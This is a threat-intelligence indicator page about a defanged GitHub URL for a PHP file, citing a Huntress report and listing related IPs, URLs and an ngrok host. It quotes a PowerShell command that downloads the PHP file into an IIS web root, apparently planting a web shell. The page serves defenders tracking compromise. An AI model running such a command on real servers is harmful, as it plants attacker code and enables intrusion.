hxxps://raw.githubusercontent[.]com/hightidAOaa/azdaz/main/maa.phpURL

Reported by 1 independent source · first reported 20 Mar 2024 by Huntress · last reported 20 Mar 2024

Last reported 2 years ago

What the reports say

1 report, newest first · the exact sentence from each

“powershell -command Invoke-WebRequest -Uri 'hxxps://raw.githubusercontent[.]com/hightidAOaa/azdaz/main/maa.php' -OutFile 'E:/inetpub/wwwroot/<REDACTED>/maa.php'”

HuntressVendor20 Mar 2024
Managing Attack Surface

named in the same reports

Copy these 4 indicators · defanged

4 indicators, defanged, one per line

41.102.167[.]182
35.195.172[.]146
hxxps://github[.]com/hightidAOaa/azdaz/raw/main/fata.php
0.tcp.eu.ngrok[.]io

Thanks — we review every report.

Report a wrong value